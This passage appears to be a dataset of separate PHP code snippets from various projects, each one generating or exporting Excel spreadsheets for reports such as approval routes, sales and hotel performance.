'.xlsx');\n\n return($file);\n}", "private function initExcel()\n {\n $this->savePointer = function () {\n $arrayData = [];\n $arrayData[] = $this->headerRow;\n for ($i = 0; i < count($this->body); $i ++) {\n $arrayData[] = $this->body[$i];\n }\n $this->dataCollection->getActiveSheet()->fromArray($arrayData, NULL,\n 'A1');\n $writer = new Xlsx($this->dataCollection);\n $writer->save($this->reportPath);\n $this->dataCollection->disconnectWorksheets();\n unset($this->dataCollection);\n header('Content-type: application/vnd.ms-excel');\n header(\n 'Content-Disposition: attachment; filename=' . $this->reportTitle .\n '.xls');\n };\n }", "public function index()\n\t{\n\t\t//\n return Excel::create('Mastersheet BQu version', function($excel) {\n\n $excel->sheet('Marks-Input Sheet', function($sheet) {\n\n $sheet->loadView('export.input_sheet')\n ->with('student_module_marks_input',StudentModuleMarksInput::all()->reverse())\n ->with('module_element',ModuleElement::all())\n ->with('modules',Module::all())\n ->with('courses',ApplicationCourse::all())\n ->with('users',User::all());\n\n });\n $excel->setcreator('BQu');\n $excel->setlastModifiedBy('BQu');\n $excel->setcompany('BQuServices(PVT)LTD');\n $excel->setmanager('Rajitha');\n\n })->download('xls');\n\t}", "public static function excelActionsAndStrategiesHeadings()\n {\n return [\n 'Strategies and Actions',\n 'Status',\n 'Responsibility',\n 'Industry',\n ];\n }", "public function makeComStatsExcelSheet($data)\n\t{\n\t\t/** Reading Excel with PHPExcel_IOFactory */\n\t\trequire_once 'PHPExcel/IOFactory.php';\n\n\t\t$objReader = PHPExcel_IOFactory::createReader('Excel5');\n\t\t\n\t\t// template file\n\t\t$objPHPExcel = $objReader->load(APPLICATION_PATH . '/../data/templates/com-stats-tpl.xls');\n\t}", "public function action_list_approval_menu(){\n $param = \\Input::param();\n $export_date = isset($param['export_date'])?date('Y-m-d', strtotime($param['export_date'])):date('Y-m-d');\n\n $objPHPExcel = new \\PHPExcel();\n $objPHPExcel->getProperties()->setCreator('Vision')\n ->setLastModifiedBy('Vision')\n ->setTitle('Office 2007 Document')\n ->setSubject('Office 2007 Document')\n ->setDescription('Document has been generated by PHP')\n ->setKeywords('Office 2007 openxml php')\n ->setCategory('Route File');\n\n $header = ['様式', '適用開始日', '適用終了日',\n '第1 承認者','第1 承認者の権限',\n '第2 承認者','第2 承認者の権限','第3 承認者','第3 承認者の権限',\n '第4 承認者','第4 承認者の権限','第5 承認者','第5 承認者の権限',\n '第6 承認者','第6 承認者の権限','第7 承認者','第7 承認者の権限',\n '第8 承認者','第8 承認者の権限','第9 承認者','第9 承認者の権限',\n '第10 承認者','第10 承認者の権限','第11 承認者','第11 承認者の権限',\n '第12 承認者','第12 承認者の権限','第13 承認者','第13 承認者の権限',\n '第14 承認者','第14 承認者の権限','第15 承認者','第15 承認者の権限',\n ];\n $last_column = null;\n foreach($header as $i=>$v){\n $column = \\PHPExcel_Cell::stringFromColumnIndex($i);\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue($column.'1',$v);\n $objPHPExcel->getActiveSheet()->getStyle($column.'1')\n ->applyFromArray([\n 'font' => [\n 'name' => 'Times New Roman',\n 'bold' => true,\n 'italic' => false,\n 'size' => 10,\n 'color' => ['rgb'=> \\PHPExcel_Style_Color::COLOR_WHITE]\n ],\n 'alignment' => [\n 'horizontal' => \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\n 'vertical' => \\PHPExcel_Style_Alignment::VERTICAL_CENTER,\n 'wrap' => false\n ]\n ]);\n switch($i+1){\n case 1:\n $width = 50;\n break;\n case 5: case 7: case 9: case 11: case 13:\n case 15: case 17: case 19: case 21: case 23: case 25:\n case 27: case 29: case 31: case 33: case 35: case 37: case 39: \n $width = 20;\n break;\n default:\n $width = 30;\n break;\n }\n $objPHPExcel->getActiveSheet()->getColumnDimension($column)->setWidth($width);\n $last_column = $column;\n }\n \n /*====================================\n * Get list user has department enable_start_date >= export day <= enable_end_date\n * Or enable_start_date >= export day && enable_end_date IS NULL\n *====================================*/\n $query = \\DB::select('MAM.*',\n \\DB::expr('MM.name AS menu_name'), \\DB::expr('MM.id AS menu_id'), \n \\DB::expr('MRM.name AS request_menu_name'), \\DB::expr('MRM.id AS request_menu_id'))\n ->from(['m_approval_menu', 'MAM'])\n ->join(['m_menu', 'MM'], 'left')->on('MM.id', '=', 'MAM.m_menu_id')\n ->on('MAM.petition_type', '=', \\DB::expr(\"1\"))\n ->on('MM.item_status', '=', \\DB::expr(\"'active'\"))->on('MM.enable_flg', '=', \\DB::expr(\"1\"))\n ->join(['m_request_menu', 'MRM'], 'left')->on('MRM.id', '=', 'MAM.m_menu_id')\n ->on('MAM.petition_type', '=', \\DB::expr(\"2\"))\n ->on('MRM.item_status', '=', \\DB::expr(\"'active'\"))->on('MRM.enable_flg', '=', \\DB::expr(\"1\"))\n ->where('MAM.item_status', '=', 'active')\n ->group_by('MAM.m_menu_id', 'MAM.petition_type', 'MAM.enable_start_date')\n ;\n $items = $query->execute()->as_array();\n \n //set content\n $i = 0;\n foreach($items as $item){\n $row = $i+2;\n switch ($item['petition_type']) {\n case 1:\n $menu_name = $item['menu_name'];\n $menu_id = $item['menu_id'];\n break;\n case 2:\n $menu_name = $item['request_menu_name'];\n $menu_id = $item['request_menu_id'];\n break;\n }\n\n if(empty($menu_id)) continue;\n $objPHPExcel->setActiveSheetIndex()->setCellValue('A'.$row, $menu_name)\n ->setCellValue('B'.$row,$item['enable_start_date']?\\Vision_Common::system_format_date(strtotime($item['enable_start_date'])):null)\n ->setCellValue('C'.$row,$item['enable_end_date']?\\Vision_Common::system_format_date(strtotime($item['enable_end_date'])):null);\n\n //Get user of routes\n $query = \\DB::select('MU.fullname', \\DB::expr('MA.name AS authority_name'))\n ->from(['m_user', 'MU'])\n // ->join(['m_user_department', 'MUD'], 'left')->on('MUD.m_user_id', '=', 'MU.id')\n // ->join(['m_department', 'DEP'], 'left')->on('DEP.id', '=', 'MUD.m_department_id')\n ->join(['m_approval_menu', 'MAM'], 'left')->on('MAM.m_user_id', '=', 'MU.id')\n ->join(['m_authority', 'MA'], 'left')->on('MA.id', '=', 'MAM.m_authority_id')\n ->and_where('MAM.m_menu_id', '=', $item['m_menu_id'])\n ->and_where('MAM.petition_type', '=', $item['petition_type'])\n\n ->where('MU.item_status', '=', 'active')\n ->and_where_open()\n ->and_where('MU.retirement_date', '>', $export_date)\n ->or_where('MU.retirement_date', 'IS',\\DB::expr('NULL'))\n ->and_where_close()\n\n ->and_where('MAM.item_status', '=', 'active')\n ->and_where_open()\n ->and_where(\\DB::expr(\"'{$export_date}'\"), 'BETWEEN', [\\DB::expr('MAM.enable_start_date'), \\DB::expr('MAM.enable_end_date')])\n ->or_where_open()\n ->and_where(\\DB::expr('MAM.enable_start_date'), '<=', $export_date)\n ->and_where(\\DB::expr('MAM.enable_end_date'), 'IS', \\DB::expr('NULL'))\n ->or_where_close()\n ->and_where_close()\n\n ->order_by('MAM.order', 'ASC')\n ->group_by('MAM.m_user_id', 'MAM.m_authority_id')\n ;\n $users = $query->execute()->as_array(); \n\n if(!empty($users)){\n $col = 3;\n foreach ($users as $user) {\n $objPHPExcel->setActiveSheetIndex()->setCellValue(\\PHPExcel_Cell::stringFromColumnIndex($col).$row,$user['fullname']);\n $col++;\n $objPHPExcel->setActiveSheetIndex()->setCellValue(\\PHPExcel_Cell::stringFromColumnIndex($col).$row,$user['authority_name']);\n $col++;\n }\n }\n\n $i++;\n }\n\n\n $format = ['alignment'=>array('horizontal'=> \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,'wrap'=>true)];\n $objPHPExcel->getActiveSheet()->getStyle('A1:AC1')->getFill()->setFillType(\\PHPExcel_Style_Fill::FILL_SOLID);\n $objPHPExcel->getActiveSheet()->getStyle('A1:AC1')->getFill()->getStartColor()->setRGB('25a9cb');\n\n header(\"Last-Modified: \". gmdate(\"D, d M Y H:i:s\") .\" GMT\");\n header(\"Cache-Control: max-age=0\");\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"決裁経路(基準)-'.$export_date.'.xls\"');\n $objWriter = \\PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n $objWriter->save('php://output');\n exit; \n }", "public function action_list_approval_department(){\n\n $param = \\Input::param();\n $export_date = isset($param['export_date'])?date('Y-m-d', strtotime($param['export_date'])):date('Y-m-d');\n\n $objPHPExcel = new \\PHPExcel();\n $objPHPExcel->getProperties()->setCreator('Vision')\n ->setLastModifiedBy('Vision')\n ->setTitle('Office 2007 Document')\n ->setSubject('Office 2007 Document')\n ->setDescription('Document has been generated by PHP')\n ->setKeywords('Office 2007 openxml php')\n ->setCategory('Route File');\n\n $header = ['事業本部コード','事業本部','事業部コード','事業部','部門コード','部門', '適用開始日', '適用終了日','第1 承認者','第2 承認者','第3 承認者','第4 承認者','第5 承認者','第6 承認者','第7 承認者','第8 承認者','第9 承認者'];\n $last_column = null;\n foreach($header as $i=>$v){\n $column = \\PHPExcel_Cell::stringFromColumnIndex($i);\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue($column.'1',$v);\n $objPHPExcel->getActiveSheet()->getStyle($column.'1')\n ->applyFromArray([\n 'font' => [\n 'name' => 'Times New Roman',\n 'bold' => true,\n 'italic' => false,\n 'size' => 10,\n 'color' => ['rgb'=> \\PHPExcel_Style_Color::COLOR_WHITE]\n ],\n 'alignment' => [\n 'horizontal' => \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\n 'vertical' => \\PHPExcel_Style_Alignment::VERTICAL_CENTER,\n 'wrap' => false\n ]\n ]);\n switch($i+1){\n case 1:\n case 3:\n case 5:\n $width = 10;\n break;\n case 2:\n $width = 18;\n break;\n case 4:\n case 6:\n $width = 30;\n break;\n default:\n $width = 20;\n break;\n }\n $objPHPExcel->getActiveSheet()->getColumnDimension($column)->setWidth($width);\n $last_column = $column;\n }\n \n /*====================================\n * Get list user has department enable_start_date >= export day <= enable_end_date\n * Or enable_start_date >= export day && enable_end_date IS NULL\n *====================================*/\n $query = \\DB::select('MAD.*',\n \\DB::expr('BUS.code AS business_code'), \\DB::expr('BUS.name AS business_name'), \n \\DB::expr('DIV.code AS division_code'),\\DB::expr('DIV.name AS division_name'),\n \\DB::expr('DEP.name AS department_name'), \\DB::expr('DEP.code AS department_code'), \\DB::expr('DEP.sub_code AS department_sub_code'))\n ->from(['m_approval_department', 'MAD'])\n ->join(['m_department', 'DEP'], 'left')->on('DEP.id', '=', 'MAD.m_department_id')->on('DEP.level', '=', \\DB::expr(3))\n ->join(['m_department', 'DIV'], 'left')->on('DIV.id', '=', 'DEP.parent')->on('DIV.level', '=', \\DB::expr(2))\n ->join(['m_department', 'BUS'], 'left')->on('BUS.id', '=', 'DIV.parent')->on('BUS.level', '=', \\DB::expr(1))\n ->where('MAD.item_status', '=', 'active')\n ->where('DEP.allow_export_routes', '=', 1)\n\n ->and_where('DEP.item_status', '=', 'active')\n ->and_where_open()\n ->and_where(\\DB::expr(\"'{$export_date}'\"), 'BETWEEN', [\\DB::expr('DEP.enable_start_date'), \\DB::expr('DEP.enable_end_date')])\n ->or_where_open()\n ->and_where(\\DB::expr('DEP.enable_start_date'), '<=', $export_date)\n ->and_where(\\DB::expr('DEP.enable_end_date'), 'IS', \\DB::expr('NULL'))\n ->or_where_close()\n ->and_where_close()\n \n ->and_where('MAD.item_status', '=', 'active')\n ->and_where_open()\n ->and_where(\\DB::expr(\"'{$export_date}'\"), 'BETWEEN', [\\DB::expr('MAD.enable_start_date'), \\DB::expr('MAD.enable_end_date')])\n ->or_where_open()\n ->and_where(\\DB::expr('MAD.enable_start_date'), '<=', $export_date)\n ->and_where(\\DB::expr('MAD.enable_end_date'), 'IS', \\DB::expr('NULL'))\n ->or_where_close()\n ->and_where_close()\n\n ->group_by('MAD.m_department_id', 'MAD.enable_start_date')\n ;\n $items = $query->execute()->as_array();\n \n \n //set content\n $i = 0;\n foreach($items as $item){\n $row = $i+2;\n // \\Vision_Common::system_format_date(strtotime($user['entry_date'])):null)\n $objPHPExcel->setActiveSheetIndex()->setCellValue('A'.$row,$item['business_code'])\n ->setCellValue('B'.$row,$item['business_name'])\n ->setCellValue('C'.$row,$item['division_code'])\n ->setCellValue('D'.$row,$item['division_name'])\n ->setCellValue('E'.$row,$item['department_code'])\n ->setCellValue('F'.$row,$item['department_name'])\n ->setCellValue('G'.$row,$item['enable_start_date']?\\Vision_Common::system_format_date(strtotime($item['enable_start_date'])):null)\n ->setCellValue('H'.$row,$item['enable_end_date']?\\Vision_Common::system_format_date(strtotime($item['enable_end_date'])):null)\n ;\n\n //Get user of routes\n $query = \\DB::select('MU.fullname')\n ->from(['m_user', 'MU'])\n ->join(['m_approval_department', 'MAD'], 'left')->on('MAD.m_user_id', '=', 'MU.id')\n ->where('MU.item_status', '=', 'active')\n ->and_where('MAD.item_status', '=', 'active')\n ->and_where('MAD.m_department_id', '=', $item['m_department_id'])\n ->and_where('MAD.enable_start_date', '=', $item['enable_start_date'])\n ->order_by('MAD.order', 'ASC')\n ;\n $users = $query->execute()->as_array(); \n if(!empty($users)){\n $col = 8;\n foreach ($users as $user) {\n $objPHPExcel->setActiveSheetIndex()->setCellValue(\\PHPExcel_Cell::stringFromColumnIndex($col).$row,$user['fullname']);\n $col++;\n }\n }\n\n $i++;\n }\n\n\n $format = ['alignment'=>array('horizontal'=> \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,'wrap'=>true)];\n $objPHPExcel->getActiveSheet()->getStyle('A1:U1')->getFill()->setFillType(\\PHPExcel_Style_Fill::FILL_SOLID);\n $objPHPExcel->getActiveSheet()->getStyle('A1:U1')->getFill()->getStartColor()->setRGB('25a9cb');\n\n header(\"Last-Modified: \". gmdate(\"D, d M Y H:i:s\") .\" GMT\");\n header(\"Cache-Control: max-age=0\");\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"決裁経路(組織)-'.$export_date.'.xls\"');\n $objWriter = \\PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n $objWriter->save('php://output');\n exit; \n }", "function export_nik_unins_lunas()\n\t{\n\t\t$excel_id=$this->uri->segment(3);\n\t\t$datas = $this->model_transaction->get_lunas_gagal($excel_id);\n\t\t\n\t\t// Create new PHPExcel object\n\t\t$objPHPExcel = $this->phpexcel;\n\t\t// Set document properties\n\t\t$objPHPExcel->getProperties()->setCreator(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setLastModifiedBy(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setTitle(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setSubject(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setDescription(\"REPORT, generated using PHP classes.\")\n\t\t\t\t\t\t\t\t\t ->setKeywords(\"REPORT\")\n\t\t\t\t\t\t\t\t\t ->setCategory(\"Test result file\");\n\t\t\t\t\t\t\t\t\t \n\t\t$objPHPExcel->setActiveSheetIndex(0); \n\t\t\n\t\t/*\n\t\t| BORDER OPTION\n\t\t*/\n\t\t$styleArray['borders']['outline']['style']=PHPExcel_Style_Border::BORDER_THIN;\n\t\t$styleArray['borders']['outline']['color']['rgb']='000000';\n\t\t/*\n\t\t| SET COLUMN WIDTH\n\t\t*/\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(15);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\n\t\t/*\n\t\t| ROW HEADER TITLE\n\t\t*/\n\t\t$row=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"List Pelunasan Tidak Sesuai\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true);\n\t\t\n\t\t$row+=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"NIK\");\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,\"Nama\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setBold(true);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':A'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('B'.$row.':B'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t$row+=1;\n\t\t/*\n\t\t| ROW DATA\n\t\t*/\n\t\tfor($i=0;$i<count($datas);$i++){\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,$datas[$i]['nik']);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,$datas[$i]['nama']);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setSize(11);\n\t\t\t$row++;\n\t\t}\n\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment;filename=\"PELUNASAN TIDAK SESUAI.xlsx\"');\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t\t$objWriter->save('php://output');\n\t}", "public function headings(): array\n {\n return [\n '#ID',\n 'APELLIDO',\n 'NOMBRE',\n 'EMAIL',\n 'ROLE',\n 'PERMISOS ADICIONALES',\n 'FECHA DE CREACIÓN',\n ];\n }", "public function setColumnsHeadData()\n\t{\n\t\tFileStorage::getInstance()->store([], 'league_table_columns_head');\n\t}", "public function export_excel()\n\t{\n\t$data = array(\n array ('Name', 'Surname'),\n array('Schwarz', 'Oliver'),\n array('Test', 'Peter')\n );\n\t\t\n\t\t//$data = $this->db->get('test')->result_array();\n\t\t$this->load->library('Excel-Generation/excel_xml');\n\t\t$this->excel_xml->addArray($data);\n\t\t$this->excel_xml->generateXML('my-test');\n\t}", "public function download_category_excel_sheet() {\n $spreadsheet = new Spreadsheet();\n $sheet = $spreadsheet->getActiveSheet();\n $sheet->setCellValue('A1', 'ar_name');\n $sheet->setCellValue('B1', 'en_name');\n $sheet->setCellValue('C1', 'discount');\n\n $writer = new Xlsx($spreadsheet);\n\n $filename = 'add_category_template';\n\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"' . $filename . '.xlsx\"');\n\n $writer->save('php://output');\n }", "public function exportExcel($type);", "private function setHeader($excel_file_name)//this function used to set the header variable\r\n\t{\r\n\t\t\r\n\t\theader('Cache-Control: no-store, no-cache, must-revalidate'); // HTTP/1.1\r\n\t\theader('Cache-Control: pre-check=0, post-check=0, max-age=0'); // HTTP/1.1\r\n\t\theader (\"Pragma: no-cache\");\r\n\t\theader(\"Expires: 0\");\r\n\t\theader('Content-Transfer-Encoding: none');\r\n\t\theader('Content-Type: application/vnd.ms-excel;'); // This should work for IE & Opera\r\n\t\theader(\"Content-type: application/x-msexcel\"); // This should work for the rest\r\n\t\theader(\"Content-Disposition: attachment; filename=$excel_file_name\");\r\n\t\t\r\n\t\t/*header('Content-type: application/ms-excel');\r\n\t\theader('Content-Disposition: attachment; filename='.$excel_file_name);*/\r\n\t\r\n\t\r\n\t}", "function exportToExcel($exportConfigData){\n $files = glob('../lib/Excel/*');\n if(isset($files[0])){\n unlink($files[0]); \n }\n\n if(!isset($exportConfigData['exportOptions'])){\n return;\n }\n\n $marginTop = 1;\n $marginLeft = 1;\n\n include_once('../lib/PHPExcel/IOFactory.php');\n\n $feildsNum = count($exportConfigData['exportOptions']);\n if(isset($_SESSION['sort'])){\n $sortBy = $_SESSION['sort'];\n unset($_SESSION['sort']);\n }\n $first = NULL;\n $second = NULL;\n if(isset($exportConfigData[\"groupingOptions\"])){\n if(isset($exportConfigData[\"groupingOptions\"][\"first\"])){\n $first = trim($exportConfigData[\"groupingOptions\"][\"first\"]);\n }\n if(isset($exportConfigData[\"groupingOptions\"][\"second\"])){\n $second = trim($exportConfigData[\"groupingOptions\"][\"second\"]);\n }\n }\n $query = excelGroupByQuery($first, $second);\n $q = $GLOBALS['db']->query($query);\n\n //set the desired name of the excel file\n if(isset($exportConfigData['title'])){\n $fileName = $exportConfigData['title'];\n } else{\n $fileName = \"excelSheet\";\n }\n \n $objPHPExcel = new PHPExcel();\n\n // Set document properties\n $objPHPExcel->getProperties()->setCreator(\"Me\")->setLastModifiedBy(\"Me\")->setTitle($exportConfigData['title'])->setSubject($exportConfigData['title'])->setDescription(\"Excel Sheet\")->setKeywords(\"Excel Sheet\")->setCategory(\"Me\");\n\n // Set active sheet index to the first sheet, so Excel opens this as the first sheet\n $objPHPExcel->setActiveSheetIndex(0);\n\n $headerStyle = array('font' => array('size' => 15,'bold' => true,'color' => array('rgb' => '444444')));\n\n // Printing Feilds Header Name\n for($i=0; $i<$feildsNum; $i++){\n $objPHPExcel->getActiveSheet()->setCellValue( chr(66 + $i) . \"\" . ($marginTop + 1), $exportConfigData['exportOptions'][$i]);\n $objPHPExcel->getActiveSheet()->getStyle(chr(66 + $i) . \"\" . ($marginTop + 1))->applyFromArray($headerStyle);\n }\n\n // Printing Data\n $rows = $q->fetchAll();\n $rowsNum = count($rows);\n for($j = 0; $j < $rowsNum; $j++){\n for($i=0; $i<$feildsNum; $i++){\n $objPHPExcel->getActiveSheet()->setCellValue( chr(66 + $i) . \"\" . ($marginTop + 2 + $j), $rows[$j][$exportConfigData['exportOptions'][$i]]);\n }\n }\n\n // Set worksheet title\n $objPHPExcel->getActiveSheet()->setTitle($fileName);\n\n $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n $objWriter->save('../lib/Excel/' . $fileName . '.xlsx');\n\n // Redirect output to a client’s web browser (Excel2007)\n /*\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment;filename=\"' . $fileName . '.xlsx\"');\n header('Cache-Control: max-age=0');\n\n $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n $objWriter->save('php://output');*/\n }", "public function sales_report_export_xls() {\n\n //Read page parameter to display report\n $tenant_id = $this->session->userdata('userDetails')->tenant_id;\n $sales_exec = $this->input->get('sales_exec');\n $start_date = $this->input->get('start');\n $end_date = $this->input->get('end');\n \n\n $tabledata = $this->reportsModel->get_sales_report_data_xls($tenant_id, $start_date, $end_date, $sales_exec);\n $this->load->helper('export_helper');\n \n export_sales_report_xls($tabledata);\n }", "function generarReporteExcelCalificacionvspremarcado($arregloCompleto)\r\n{\r\n $libro = new PhpOffice\\PhpSpreadsheet\\Spreadsheet();\r\n //Reporte de indicadores I1\r\n $libro->getActiveSheet()->mergeCells('A1:H1');\r\n $libro->getActiveSheet()->getStyle('A1:H2')->getFont()->setBold(true);\r\n $hoja = $libro->getActiveSheet();\r\n $libro->getSheet(0)->getColumnDimension('A')->setAutoSize(true);\r\n $libro->getSheet(0)->getColumnDimension('B')->setAutoSize(true);\r\n $libro->getSheet(0)->getColumnDimension('C')->setAutoSize(true);\r\n $libro->getSheet(0)->getColumnDimension('D')->setAutoSize(true);\r\n $libro->getSheet(0)->getColumnDimension('E')->setAutoSize(true);\r\n $libro->getSheet(0)->getColumnDimension('G')->setAutoSize(true);\r\n $libro->getSheet(0)->getColumnDimension('H')->setAutoSize(true);\r\n\r\n\r\n $hoja->setTitle('I1');\r\n $libro->getActiveSheet()->getStyle('A1:H2')->getFill()\r\n ->setFillType(\\PhpOffice\\PhpSpreadsheet\\Style\\Fill::FILL_SOLID)\r\n ->getStartColor()->setARGB('0070C0');\r\n $libro->getSheet(0)->getStyle('A1:H2')\r\n ->getFont()->getColor()->setARGB(\\PhpOffice\\PhpSpreadsheet\\Style\\Color::COLOR_WHITE);\r\n $hoja->setCellValue('A1', 'Calificacion vs premarcado');\r\n $hoja->setCellValue('A2', 'Dane');\r\n $hoja->setCellValue('B2', 'Colegio');\r\n $hoja->setCellValue('C2', 'Producto');\r\n $hoja->setCellValue('D2', 'Premarcado');\r\n $hoja->setCellValue('E2', 'Calificado');\r\n $hoja->setCellValue('F2', 'Distribuidor');\r\n $hoja->setCellValue('G2', 'Ciudad');\r\n $hoja->setCellValue('H2', 'Fecha de creacion');\r\n $iterador = 3;\r\n\r\n for ($i = 0; $i < count($arregloCompleto); $i++) {\r\n $hoja->setCellValue('A' . $iterador, $arregloCompleto[$i]['dane']);\r\n $hoja->setCellValue('B' . $iterador, $arregloCompleto[$i]['colegio']);\r\n for ($n = 0; $n < count($arregloCompleto[$i]['cantidad']); $n++) {\r\n $hoja->setCellValue('A' . $iterador, $arregloCompleto[$i]['dane']);\r\n $hoja->setCellValue('B' . $iterador, $arregloCompleto[$i]['colegio']);\r\n $hoja->setCellValue('C' . $iterador, $arregloCompleto[$i]['cantidad'][$n]['producto']);\r\n $hoja->setCellValue('D' . $iterador, $arregloCompleto[$i]['cantidad'][$n]['premarcado']);\r\n $hoja->setCellValue('E' . $iterador, $arregloCompleto[$i]['cantidad'][$n]['calificado']);\r\n $hoja->setCellValue('F' . $iterador, $arregloCompleto[$i]['cantidad'][$n]['distribuidor']);\r\n $hoja->setCellValue('G' . $iterador, $arregloCompleto[$i]['cantidad'][$n]['ciudad']);\r\n $hoja->setCellValue('H' . $iterador, $arregloCompleto[$i]['cantidad'][$n]['fechaCreacion']);\r\n $iterador++;\r\n }\r\n\r\n\r\n }\r\n $styleArray = [\r\n 'borders' => [\r\n 'allBorders' => [\r\n 'borderStyle' => \\PhpOffice\\PhpSpreadsheet\\Style\\Border::BORDER_THIN,\r\n 'color' => ['arg' => '000'],\r\n ],\r\n\r\n ],\r\n 'alignment' => [\r\n 'horizontal' => \\PhpOffice\\PhpSpreadsheet\\Style\\Alignment::HORIZONTAL_CENTER,\r\n ],\r\n ];\r\n\r\n $libro->getSheet(0)->getStyle('A1:H' . $iterador)->applyFromArray($styleArray);\r\n\r\n $excel = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Xlsx($libro);\r\n\r\n $excel->save('./App/public/excel/calificacionvspremarcado.xlsx');\r\n\r\n return '/excel/calificacionvspremarcado.xlsx';\r\n}", "function hotels_tops(){\r\n $periode = $this->input->post('periode_Report');\r\n $getDate = explode(\" - \", $periode);\r\n $from_date = $getDate[0];\r\n $to_date = $getDate[1];\r\n $reportBy = $this->input->post('ReportBy');\r\n $hotel = $this->input->post('list_hotels');\r\n $hotels = '' ;\r\n \r\n if(!empty($hotel)){\r\n $hotels = $hotel ;\r\n }\r\n $reportHotels['hotels'] = $this->report_model->hotel_top($from_date, $to_date, $this->config->item('not_agents','agents'), $hotels);\r\n $reportHotels['hotels']['detail-agent'] = $this->report_model->HotelsBookingAgent($from_date, $to_date, $hotels, $this->config->item('not_agents','agents'));\r\n \r\n //echo $this->db->last_query();\r\n //echo '<pre>',print_r($reportHotels['hotels']);die();\r\n \r\n $this->excel->setActiveSheetIndex(0);\r\n\r\n //name the worksheet\r\n $this->excel->getActiveSheet()->setTitle($reportBy.' perfomance');\r\n\r\n $styleArray = array(\r\n 'borders' => array(\r\n 'allborders' => array(\r\n 'style' => PHPExcel_Style_Border::BORDER_THIN\r\n )\r\n )\r\n );\r\n\r\n $this->excel->getActiveSheet()->setCellValue('A1', $reportBy.'perfomance');\r\n $this->excel->getActiveSheet()->getStyle(\"A1\")->getFont()->setSize(20);\r\n \r\n \r\n \r\n $this->excel->getActiveSheet()->setCellValue('A3', 'Start Date History : '.$from_date);\r\n //$this->excel->getActiveSheet()->getStyle(\"A3\")->getFont()->setSize(12);\r\n $this->excel->getActiveSheet()->mergeCells('A3:C3');\r\n $this->excel->getActiveSheet()->getStyle('A3:C3')->getFont()->setBold(true);\r\n \r\n $this->excel->getActiveSheet()->setCellValue('A4', 'End Date History : '.$to_date);\r\n //$this->excel->getActiveSheet()->getStyle(\"A4\")->getFont()->setSize(12);\r\n $this->excel->getActiveSheet()->mergeCells('A4:C4');\r\n $this->excel->getActiveSheet()->getStyle('A4:C4')->getFont()->setBold(true);\r\n \r\n $this->excel->getActiveSheet()->setCellValue('A5', 'Hotel : '.$reportHotels['hotels'][0]['hotel']);\r\n //$this->excel->getActiveSheet()->getStyle(\"A3\")->getFont()->setSize(12);\r\n $this->excel->getActiveSheet()->mergeCells('A5:C5');\r\n $this->excel->getActiveSheet()->getStyle('A5:C5')->getFont()->setBold(true);\r\n \r\n $this->excel->getActiveSheet()->setCellValue('A6', 'City : '.$reportHotels['hotels'][0]['city']);\r\n //$this->excel->getActiveSheet()->getStyle(\"A4\")->getFont()->setSize(12);\r\n $this->excel->getActiveSheet()->mergeCells('A6:C6');\r\n $this->excel->getActiveSheet()->getStyle('A6:C6')->getFont()->setBold(true);\r\n \r\n $this->excel->getActiveSheet()->setCellValue('A7', 'Country : '.$reportHotels['hotels'][0]['country']);\r\n //$this->excel->getActiveSheet()->getStyle(\"A4\")->getFont()->setSize(12);\r\n $this->excel->getActiveSheet()->mergeCells('A7:C7');\r\n $this->excel->getActiveSheet()->getStyle('A7:C7')->getFont()->setBold(true);\r\n \r\n //set cell A1 content with some text\r\n $arrField = array('No', 'MG User ID', 'Agent Code', 'Agent Name', 'Check In', 'Check Out', 'Room', 'Night', 'Room Night', 'Point Promo', 'Jumlah Point') ;\r\n \r\n \r\n $arrCellsTitle = $this->excel->setValueHorizontal($arrField, 9, 65); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n \r\n $i = 0;\r\n foreach($arrCellsTitle as $cells){\r\n $this->excel->getActiveSheet()->setCellValue($cells, $arrField[$i]);\r\n $i++;\r\n }\r\n \r\n //freeze row title\r\n $this->excel->getActiveSheet()->freezePane('A10');\r\n \r\n \r\n $no=1;\r\n 